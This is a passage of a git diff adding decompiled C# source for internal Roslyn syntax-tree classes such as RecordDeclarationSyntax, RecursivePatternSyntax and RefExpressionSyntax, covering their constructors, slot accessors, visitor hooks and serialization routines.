= keyword; + if (classOrStructKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)classOrStructKeyword); + this.classOrStructKeyword = classOrStructKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal RecordDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, SyntaxToken? classOrStructKeyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, GreenNode? constraintClauses, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 13; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + if (classOrStructKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)classOrStructKeyword); + this.classOrStructKeyword = classOrStructKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal RecordDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, SyntaxToken? classOrStructKeyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, GreenNode? constraintClauses, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 13; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + if (classOrStructKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)classOrStructKeyword); + this.classOrStructKeyword = classOrStructKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => keyword, + 3 => classOrStructKeyword, + 4 => identifier, + 5 => typeParameterList, + 6 => parameterList, + 7 => baseList, + 8 => constraintClauses, + 9 => openBraceToken, + 10 => members, + 11 => closeBraceToken, + 12 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.RecordDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRecordDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRecordDeclaration(this); + } + + public RecordDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, SyntaxToken classOrStructKeyword, SyntaxToken identifier, TypeParameterListSyntax typeParameterList, ParameterListSyntax parameterList, BaseListSyntax baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || keyword != Keyword || classOrStructKeyword != ClassOrStructKeyword || identifier != Identifier || typeParameterList != TypeParameterList || parameterList != ParameterList || baseList != BaseList || constraintClauses != ConstraintClauses || openBraceToken != OpenBraceToken || members != Members || closeBraceToken != CloseBraceToken || semicolonToken != SemicolonToken) + { + RecordDeclarationSyntax recordDeclarationSyntax = SyntaxFactory.RecordDeclaration(base.Kind, attributeLists, modifiers, keyword, classOrStructKeyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + recordDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(recordDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + recordDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(recordDeclarationSyntax, (IEnumerable)annotations); + } + return recordDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new RecordDeclarationSyntax(base.Kind, attributeLists, modifiers, keyword, classOrStructKeyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new RecordDeclarationSyntax(base.Kind, attributeLists, modifiers, keyword, classOrStructKeyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal RecordDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Expected O, but got Unknown + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Expected O, but got Unknown + //IL_0148: Unknown result type (might be due to invalid IL or missing references) + //IL_014f: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 13; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + classOrStructKeyword = syntaxToken2; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + identifier = syntaxToken3; + TypeParameterListSyntax typeParameterListSyntax = (TypeParameterListSyntax)reader.ReadValue(); + if (typeParameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterListSyntax); + typeParameterList = typeParameterListSyntax; + } + ParameterListSyntax parameterListSyntax = (ParameterListSyntax)reader.ReadValue(); + if (parameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterListSyntax); + parameterList = parameterListSyntax; + } + BaseListSyntax baseListSyntax = (BaseListSyntax)reader.ReadValue(); + if (baseListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseListSyntax); + baseList = baseListSyntax; + } + GreenNode val3 = (GreenNode)reader.ReadValue(); + if (val3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val3); + constraintClauses = val3; + } + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + openBraceToken = syntaxToken4; + } + GreenNode val4 = (GreenNode)reader.ReadValue(); + if (val4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val4); + members = val4; + } + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken5 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + closeBraceToken = syntaxToken5; + } + SyntaxToken syntaxToken6 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken6 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken6); + semicolonToken = syntaxToken6; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)classOrStructKeyword); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)typeParameterList); + writer.WriteValue((IObjectWritable)(object)parameterList); + writer.WriteValue((IObjectWritable)(object)baseList); + writer.WriteValue((IObjectWritable)(object)constraintClauses); + writer.WriteValue((IObjectWritable)(object)openBraceToken); + writer.WriteValue((IObjectWritable)(object)members); + writer.WriteValue((IObjectWritable)(object)closeBraceToken); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static RecordDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(RecordDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new RecordDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RecursivePatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RecursivePatternSyntax.cs new file mode 100644 index 0000000..154219e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RecursivePatternSyntax.cs @@ -0,0 +1,204 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class RecursivePatternSyntax : PatternSyntax +{ + internal readonly TypeSyntax? type; + + internal readonly PositionalPatternClauseSyntax? positionalPatternClause; + + internal readonly PropertyPatternClauseSyntax? propertyPatternClause; + + internal readonly VariableDesignationSyntax? designation; + + public TypeSyntax? Type => type; + + public PositionalPatternClauseSyntax? PositionalPatternClause => positionalPatternClause; + + public PropertyPatternClauseSyntax? PropertyPatternClause => propertyPatternClause; + + public VariableDesignationSyntax? Designation => designation; + + internal RecursivePatternSyntax(SyntaxKind kind, TypeSyntax? type, PositionalPatternClauseSyntax? positionalPatternClause, PropertyPatternClauseSyntax? propertyPatternClause, VariableDesignationSyntax? designation, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + if (positionalPatternClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)positionalPatternClause); + this.positionalPatternClause = positionalPatternClause; + } + if (propertyPatternClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)propertyPatternClause); + this.propertyPatternClause = propertyPatternClause; + } + if (designation != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + } + + internal RecursivePatternSyntax(SyntaxKind kind, TypeSyntax? type, PositionalPatternClauseSyntax? positionalPatternClause, PropertyPatternClauseSyntax? propertyPatternClause, VariableDesignationSyntax? designation, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + if (positionalPatternClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)positionalPatternClause); + this.positionalPatternClause = positionalPatternClause; + } + if (propertyPatternClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)propertyPatternClause); + this.propertyPatternClause = propertyPatternClause; + } + if (designation != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + } + + internal RecursivePatternSyntax(SyntaxKind kind, TypeSyntax? type, PositionalPatternClauseSyntax? positionalPatternClause, PropertyPatternClauseSyntax? propertyPatternClause, VariableDesignationSyntax? designation) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + if (positionalPatternClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)positionalPatternClause); + this.positionalPatternClause = positionalPatternClause; + } + if (propertyPatternClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)propertyPatternClause); + this.propertyPatternClause = propertyPatternClause; + } + if (designation != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => type, + 1 => positionalPatternClause, + 2 => propertyPatternClause, + 3 => designation, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.RecursivePatternSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRecursivePattern(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRecursivePattern(this); + } + + public RecursivePatternSyntax Update(TypeSyntax type, PositionalPatternClauseSyntax positionalPatternClause, PropertyPatternClauseSyntax propertyPatternClause, VariableDesignationSyntax designation) + { + if (type != Type || positionalPatternClause != PositionalPatternClause || propertyPatternClause != PropertyPatternClause || designation != Designation) + { + RecursivePatternSyntax recursivePatternSyntax = SyntaxFactory.RecursivePattern(type, positionalPatternClause, propertyPatternClause, designation); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + recursivePatternSyntax = GreenNodeExtensions.WithDiagnosticsGreen(recursivePatternSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + recursivePatternSyntax = GreenNodeExtensions.WithAnnotationsGreen(recursivePatternSyntax, (IEnumerable)annotations); + } + return recursivePatternSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new RecursivePatternSyntax(base.Kind, type, positionalPatternClause, propertyPatternClause, designation, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new RecursivePatternSyntax(base.Kind, type, positionalPatternClause, propertyPatternClause, designation, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal RecursivePatternSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + if (typeSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + } + PositionalPatternClauseSyntax positionalPatternClauseSyntax = (PositionalPatternClauseSyntax)reader.ReadValue(); + if (positionalPatternClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)positionalPatternClauseSyntax); + positionalPatternClause = positionalPatternClauseSyntax; + } + PropertyPatternClauseSyntax propertyPatternClauseSyntax = (PropertyPatternClauseSyntax)reader.ReadValue(); + if (propertyPatternClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)propertyPatternClauseSyntax); + propertyPatternClause = propertyPatternClauseSyntax; + } + VariableDesignationSyntax variableDesignationSyntax = (VariableDesignationSyntax)reader.ReadValue(); + if (variableDesignationSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)variableDesignationSyntax); + designation = variableDesignationSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)positionalPatternClause); + writer.WriteValue((IObjectWritable)(object)propertyPatternClause); + writer.WriteValue((IObjectWritable)(object)designation); + } + + static RecursivePatternSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(RecursivePatternSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new RecursivePatternSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RefExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RefExpressionSyntax.cs new file mode 100644 index 0000000..f9ff797 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RefExpressionSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class RefExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken refKeyword; + + internal readonly ExpressionSyntax expression; + + public SyntaxToken RefKeyword => refKeyword; + + public ExpressionSyntax Expression => expression; + + internal RefExpressionSyntax(SyntaxKind kind, SyntaxToken refKeyword, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)refKeyword); + this.refKeyword = refKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal RefExpressionSyntax(SyntaxKind kind, SyntaxToken refKeyword, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)refKeyword); + this.refKeyword = refKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal RefExpressionSyntax(SyntaxKind kind, SyntaxToken refKeyword, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)refKeyword); + this.refKeyword = refKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => refKeyword, + 1 => expression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.RefExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRefExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRefExpression(this); + } + + public RefExpressionSyntax Update(SyntaxToken refKeyword, ExpressionSyntax expression) + { + if (refKeyword != RefKeyword || expression != Expression) + { + RefExpressionSyntax refExpressionSyntax = SyntaxFactory.RefExpression(refKeyword, expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + refExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(refExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + refExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(refExpressionSyntax, (IEnumerable)annotations); + } + return refExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new RefExpressionSyntax(base.Kind, refKeyword, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new RefExpressionSyntax(base.Kind, refKeyword, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal RefExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + refKeyword = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)refKeyword); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static RefExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(RefExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new RefExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RefTypeExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RefTypeExpressionSyntax.cs new file mode 100644 index 0000000..46877fb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RefTypeExpressionSyntax.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class RefTypeExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken keyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken Keyword => keyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public ExpressionSyntax Expression => expression; + + public SyntaxToken CloseParenToken => closeParenToken; + + internal RefTypeExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal RefTypeExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal RefTypeExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => keyword, + 1 => openParenToken, + 2 => expression, + 3 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.RefTypeExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRefTypeExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRefTypeExpression(this); + } + + public RefTypeExpressionSyntax Update(SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + if (keyword != Keyword || openParenToken != OpenParenToken || expression != Expression || closeParenToken != CloseParenToken) + { + RefTypeExpressionSyntax refTypeExpressionSyntax = SyntaxFactory.RefTypeExpression(keyword, openParenToken, expression, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + refTypeExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(refTypeExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + refTypeExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(refTypeExpressionSyntax, 